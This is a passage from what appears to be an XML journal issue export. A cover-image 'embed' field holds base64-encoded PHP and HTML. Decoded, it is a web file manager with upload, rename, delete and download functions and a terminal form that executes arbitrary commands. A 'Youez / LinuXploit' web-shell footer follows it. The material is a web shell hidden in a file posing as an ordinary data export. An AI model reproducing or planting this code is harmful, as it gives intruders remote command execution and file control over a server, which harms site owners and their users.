0nIC4gdXJsZW5jb2RlKCRwYXJ0WydwYXRoJ10pIC4gJyI+JyAuICRwYXJ0WyduYW1lJ10gLiAnPC9hPic7DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8c3Bhbj4nIC4gJHBhcnRbJ25hbWUnXSAuICc8L3NwYW4+JzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KDQogICAgICAgIDwhLS0gRmlsZSBHcmlkIC0tPg0KICAgICAgICA8ZGl2IGNsYXNzPSJmaWxlLWdyaWQiPg0KICAgICAgICAgICAgPD9waHAgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKTogPz4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmaWxlLWl0ZW0gPD9waHAgZWNobyAkZmlsZVsnaXNfZGlyJ10gPyAnZm9sZGVyJyA6ICdmaWxlJzsgPz4iIA0KICAgICAgICAgICAgICAgICAgICAgb25jbGljaz0iaGFuZGxlSXRlbUNsaWNrKCc8P3BocCBlY2hvICRmaWxlWyduYW1lJ107ID8+JywgPD9waHAgZWNobyAkZmlsZVsnaXNfZGlyJ10gPyAndHJ1ZScgOiAnZmFsc2UnOyA/PikiDQogICAgICAgICAgICAgICAgICAgICBvbmNvbnRleHRtZW51PSJzaG93Q29udGV4dE1lbnUoZXZlbnQsICc8P3BocCBlY2hvICRmaWxlWyduYW1lJ107ID8+JykiPg0KICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZpbGUtaWNvbiA8P3BocCBlY2hvICRmaWxlWydpc19kaXInXSA/ICdmYXMgZmEtZm9sZGVyJyA6ICdmYXMgZmEtZmlsZSc7ID8+Ij48L2k+DQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmaWxlLW5hbWUiPjw/cGhwIGVjaG8gJGZpbGVbJ25hbWUnXTsgPz48L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZpbGUtaW5mbyI+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoISRmaWxlWydpc19kaXInXSk6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBmb3JtYXRfc2l6ZSgkZmlsZVsnc2l6ZSddKTsgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2U6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgRm9sZGVyDQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gZGF0ZSgnTSBqLCBIOmknLCAkZmlsZVsnbW9kaWZpZWQnXSk7ID8+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPD9waHAgZW5kZm9yZWFjaDsgPz4NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgPD9waHAgaWYgKGVtcHR5KCRmaWxlcykpOiA/Pg0KICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9ImdyaWQtY29sdW1uOiAxIC8gLTE7IHRleHQtYWxpZ246IGNlbnRlcjsgcGFkZGluZzogNDBweDsgY29sb3I6ICM2NjY7Ij4NCiAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhcyBmYS1mb2xkZXItb3BlbiIgc3R5bGU9ImZvbnQtc2l6ZTogNTBweDsgbWFyZ2luLWJvdHRvbTogMTVweDsgb3BhY2l0eTogMC41OyI+PC9pPg0KICAgICAgICAgICAgICAgICAgICA8cD5UaGlzIGZvbGRlciBpcyBlbXB0eTwvcD4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KICAgICAgICA8L2Rpdj4NCg0KICAgICAgICA8IS0tIEZsb2F0aW5nIFRvb2xiYXIgLS0+DQogICAgICAgIDxkaXYgY2xhc3M9InRvb2xiYXIiPg0KICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0idG9vbC1idG4iIG9uY2xpY2s9InNob3dVcGxvYWQoKSIgdGl0bGU9IlVwbG9hZCBGaWxlIj4NCiAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLXVwbG9hZCI+PC9pPg0KICAgICAgICAgICAgPC9idXR0b24+DQogICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJ0b29sLWJ0biIgb25jbGljaz0ic2hvd0NyZWF0ZUZvbGRlcigpIiB0aXRsZT0iTmV3IEZvbGRlciI+DQogICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhcyBmYS1mb2xkZXItcGx1cyI+PC9pPg0KICAgICAgICAgICAgPC9idXR0b24+DQogICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJ0b29sLWJ0biIgb25jbGljaz0ic2hvd1Rlcm1pbmFsKCkiIHRpdGxlPSJUZXJtaW5hbCI+DQogICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhcyBmYS10ZXJtaW5hbCI+PC9pPg0KICAgICAgICAgICAgPC9idXR0b24+DQogICAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KDQogICAgPCEtLSBNb2RhbHMgLS0+DQogICAgPGRpdiBpZD0idXBsb2FkLW1vZGFsIiBjbGFzcz0ibW9kYWwiPg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1jb250ZW50Ij4NCiAgICAgICAgICAgIDxoMz7wn5OkIFVwbG9hZCBGaWxlPC9oMz4NCiAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+DQogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0idXBsb2FkIj4NCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgcmVxdWlyZWQgc3R5bGU9Im1hcmdpbi1ib3R0b206IDIwcHg7Ij4NCiAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJkaXNwbGF5OiBmbGV4OyBnYXA6IDEwcHg7Ij4NCiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4iPlVwbG9hZDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tc2Vjb25kYXJ5IiBvbmNsaWNrPSJoaWRlTW9kYWwoJ3VwbG9hZC1tb2RhbCcpIj5DYW5jZWw8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgPC9kaXY+DQogICAgPC9kaXY+DQoNCiAgICA8ZGl2IGlkPSJmb2xkZXItbW9kYWwiIGNsYXNzPSJtb2RhbCI+DQogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWNvbnRlbnQiPg0KICAgICAgICAgICAgPGgzPvCfk4EgTmV3IEZvbGRlcjwvaDM+DQogICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9ImNyZWF0ZV9mb2xkZXIiPg0KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmb2xkZXJfbmFtZSIgcGxhY2Vob2xkZXI9IkZvbGRlciBuYW1lIiByZXF1aXJlZD4NCiAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJkaXNwbGF5OiBmbGV4OyBnYXA6IDEwcHg7Ij4NCiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4iPkNyZWF0ZTwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tc2Vjb25kYXJ5IiBvbmNsaWNrPSJoaWRlTW9kYWwoJ2ZvbGRlci1tb2RhbCcpIj5DYW5jZWw8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgPC9kaXY+DQogICAgPC9kaXY+DQoNCiAgICA8ZGl2IGlkPSJ0ZXJtaW5hbC1tb2RhbCIgY2xhc3M9Im1vZGFsIj4NCiAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtY29udGVudCIgc3R5bGU9Im1heC13aWR0aDogNjAwcHg7Ij4NCiAgICAgICAgICAgIDxoMz7wn5K7IFRlcm1pbmFsPC9oMz4NCiAgICAgICAgICAgIDw/cGhwIGlmIChpc3NldCgkb3V0cHV0KSk6ID8+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwtb3V0cHV0Ij48P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJG91dHB1dCk7ID8+PC9kaXY+DQogICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iY29tbWFuZCI+DQogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNvbW1hbmQiIHBsYWNlaG9sZGVyPSJFbnRlciBjb21tYW5kLi4uIiByZXF1aXJlZCBzdHlsZT0iZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsiPg0KICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9ImRpc3BsYXk6IGZsZXg7IGdhcDogMTBweDsgbWFyZ2luLXRvcDogMTVweDsiPg0KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biI+RXhlY3V0ZTwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tc2Vjb25kYXJ5IiBvbmNsaWNrPSJoaWRlTW9kYWwoJ3Rlcm1pbmFsLW1vZGFsJykiPkNsb3NlPC9idXR0b24+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KDQogICAgPCEtLSBDb250ZXh0IE1lbnUgLS0+DQogICAgPGRpdiBpZD0iY29udGV4dC1tZW51IiBjbGFzcz0iY29udGV4dC1tZW51Ij4NCiAgICAgICAgPGRpdiBjbGFzcz0iY29udGV4dC1pdGVtIiBvbmNsaWNrPSJ2aWV3U2VsZWN0ZWQoKSI+PGkgY2xhc3M9ImZhcyBmYS1leWUiPjwvaT4gVmlldzwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJjb250ZXh0LWl0ZW0iIG9uY2xpY2s9ImRvd25sb2FkU2VsZWN0ZWQoKSI+PGkgY2xhc3M9ImZhcyBmYS1kb3dubG9hZCI+PC9pPiBEb3dubG9hZDwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJjb250ZXh0LWl0ZW0iIG9uY2xpY2s9InJlbmFtZVNlbGVjdGVkKCkiPjxpIGNsYXNzPSJmYXMgZmEtZWRpdCI+PC9pPiBSZW5hbWU8L2Rpdj4NCiAgICAgICAgPGRpdiBjbGFzcz0iY29udGV4dC1pdGVtIiBvbmNsaWNrPSJkZWxldGVTZWxlY3RlZCgpIj48aSBjbGFzcz0iZmFzIGZhLXRyYXNoIj48L2k+IERlbGV0ZTwvZGl2Pg0KICAgIDwvZGl2Pg0KDQogICAgPHNjcmlwdD4NCiAgICAgICAgbGV0IHNlbGVjdGVkRmlsZSA9ICcnOw0KICAgICAgICANCiAgICAgICAgZnVuY3Rpb24gaGFuZGxlSXRlbUNsaWNrKG5hbWUsIGlzRGlyKSB7DQogICAgICAgICAgICBpZiAoaXNEaXIpIHsNCiAgICAgICAgICAgICAgICB3aW5kb3cubG9jYXRpb24uaHJlZiA9ICc/ZGlyPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRkaXIpOyA/Pi8nICsgZW5jb2RlVVJJQ29tcG9uZW50KG5hbWUpOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICB2aWV3U2VsZWN0ZWQoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgZnVuY3Rpb24gc2hvd0NvbnRleHRNZW51KGV2ZW50LCBmaWxlbmFtZSkgew0KICAgICAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgICAgIHNlbGVjdGVkRmlsZSA9IGZpbGVuYW1lOw0KICAgICAgICAgICAgDQogICAgICAgICAgICBjb25zdCBtZW51ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NvbnRleHQtbWVudScpOw0KICAgICAgICAgICAgbWVudS5zdHlsZS5kaXNwbGF5ID0gJ2Jsb2NrJzsNCiAgICAgICAgICAgIG1lbnUuc3R5bGUubGVmdCA9IGV2ZW50LnBhZ2VYICsgJ3B4JzsNCiAgICAgICAgICAgIG1lbnUuc3R5bGUudG9wID0gZXZlbnQucGFnZVkgKyAncHgnOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICBmdW5jdGlvbiBoaWRlQ29udGV4dE1lbnUoKSB7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY29udGV4dC1tZW51Jykuc3R5bGUuZGlzcGxheSA9ICdub25lJzsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgZnVuY3Rpb24gc2hvd01vZGFsKGlkKSB7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkuc3R5bGUuZGlzcGxheSA9ICdibG9jayc7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIGZ1bmN0aW9uIGhpZGVNb2RhbChpZCkgew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIGZ1bmN0aW9uIHNob3dVcGxvYWQoKSB7IHNob3dNb2RhbCgndXBsb2FkLW1vZGFsJyk7IH0NCiAgICAgICAgZnVuY3Rpb24gc2hvd0NyZWF0ZUZvbGRlcigpIHsgc2hvd01vZGFsKCdmb2xkZXItbW9kYWwnKTsgfQ0KICAgICAgICBmdW5jdGlvbiBzaG93VGVybWluYWwoKSB7IHNob3dNb2RhbCgndGVybWluYWwtbW9kYWwnKTsgfQ0KICAgICAgICANCiAgICAgICAgZnVuY3Rpb24gdmlld1NlbGVjdGVkKCkgew0KICAgICAgICAgICAgd2luZG93Lm9wZW4oJz9hY3Rpb249dmlldyZmaWxlPScgKyBlbmNvZGVVUklDb21wb25lbnQoc2VsZWN0ZWRGaWxlKSArICcmZGlyPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRkaXIpOyA/PicsICdfYmxhbmsnKTsNCiAgICAgICAgICAgIGhpZGVDb250ZXh0TWVudSgpOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICBmdW5jdGlvbiBkb3dubG9hZFNlbGVjdGVkKCkgew0KICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uLmhyZWYgPSAnP2FjdGlvbj1kb3dubG9hZCZmaWxlPScgKyBlbmNvZGVVUklDb21wb25lbnQoc2VsZWN0ZWRGaWxlKSArICcmZGlyPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRkaXIpOyA/Pic7DQogICAgICAgICAgICBoaWRlQ29udGV4dE1lbnUoKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgZnVuY3Rpb24gcmVuYW1lU2VsZWN0ZWQoKSB7DQogICAgICAgICAgICBjb25zdCBuZXdOYW1lID0gcHJvbXB0KCdSZW5hbWUgIicgKyBzZWxlY3RlZEZpbGUgKyAnIiB0bzonLCBzZWxlY3RlZEZpbGUpOw0KICAgICAgICAgICAgaWYgKG5ld05hbWUgJiYgbmV3TmFtZSAhPT0gc2VsZWN0ZWRGaWxlKSB7DQogICAgICAgICAgICAgICAgY29uc3QgZm9ybSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2Zvcm0nKTsNCiAgICAgICAgICAgICAgICBmb3JtLm1ldGhvZCA9ICdwb3N0JzsNCiAgICAgICAgICAgICAgICBmb3JtLmlubmVySFRNTCA9IGANCiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0icmVuYW1lIj4NCiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib2xkX25hbWUiIHZhbHVlPSIke3NlbGVjdGVkRmlsZX0iPg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJuZXdfbmFtZSIgdmFsdWU9IiR7bmV3TmFtZX0iPg0KICAgICAgICAgICAgICAgIGA7DQogICAgICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChmb3JtKTsNCiAgICAgICAgICAgICAgICBmb3JtLnN1Ym1pdCgpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaGlkZUNvbnRleHRNZW51KCk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIGZ1bmN0aW9uIGRlbGV0ZVNlbGVjdGVkKCkgew0KICAgICAgICAgICAgaWYgKGNvbmZpcm0oJ0RlbGV0ZSAiJyArIHNlbGVjdGVkRmlsZSArICciPycpKSB7DQogICAgICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uLmhyZWYgPSAnP2FjdGlvbj1kZWxldGUmZmlsZT0nICsgZW5jb2RlVVJJQ29tcG9uZW50KHNlbGVjdGVkRmlsZSkgKyAnJmRpcj08P3BocCBlY2hvIHVybGVuY29kZSgkZGlyKTsgPz4nOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaGlkZUNvbnRleHRNZW51KCk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC8vIENsb3NlIGNvbnRleHQgbWVudSBvbiBjbGljayBvdXRzaWRlDQogICAgICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgaGlkZUNvbnRleHRNZW51KTsNCiAgICA8L3NjcmlwdD4NCjwvYm9keT4NCjwvaHRtbD4NCg0KPD9waHANCmZ1bmN0aW9uIGZvcm1hdF9zaXplKCRzaXplKSB7DQogICAgJHVuaXRzID0gWydCJywgJ0tCJywgJ01CJywgJ0dCJ107DQogICAgJHVuaXRfaW5kZXggPSAwOw0KICAgIHdoaWxlICgkc2l6ZSA+PSAxMDI0ICYmICR1bml0X2luZGV4IDwgY291bnQoJHVuaXRzKSAtIDEpIHsNCiAgICAgICAgJHNpemUgLz0gMTAyNDsNCiAgICAgICAgJHVuaXRfaW5kZXgrKzsNCiAgICB9DQogICAgcmV0dXJuIHJvdW5kKCRzaXplLCAyKSAuICcgJyAuICR1bml0c1skdW5pdF9pbmRleF07DQp9DQo/Pg==
</embed>
      </cover>
    </covers>

    <issue_galleys/>
    <articles/>
  </issue>
</issues>

Youez - 2016 - github.com/yon3zu
LinuXploit